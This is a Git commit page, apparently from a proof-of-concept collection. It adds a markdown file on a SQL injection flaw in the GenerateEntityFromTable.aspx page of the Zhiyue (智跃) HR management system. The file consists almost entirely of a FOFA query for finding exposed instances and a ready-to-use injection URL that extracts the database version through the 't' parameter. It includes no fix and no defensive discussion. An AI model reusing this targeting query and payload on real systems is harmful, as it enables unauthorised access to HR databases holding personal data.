admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 智跃人力资源管理系统GenerateEntityFromTable.aspx SQL漏洞.md

Browse Source
This commit is contained in:
wy876 2023-12-03 20:18:40 +08:00 committed by GitHub
parent 4181db4e80
commit b75c624718
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 12 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
智跃人力资源管理系统GenerateEntityFromTable.aspx SQL漏洞.md Normal file
View File

@ -0,0 +1,12 @@
## 智跃人力资源管理系统GenerateEntityFromTable.aspx SQL漏洞
## fofa
```
app="ZY-人力资源管理系统"
```
## poc
```
http://127.0.0.1:8085/resource/utils/GenerateEntityFromTable.aspx?t=1%27%2B(SELECT%20CHAR(103)%2BCHAR(87)%2BCHAR(114)%2BCHAR(112)%20WHERE%201669%3D1669%20AND%206492%20IN%20(select+@@version))%2B%27
```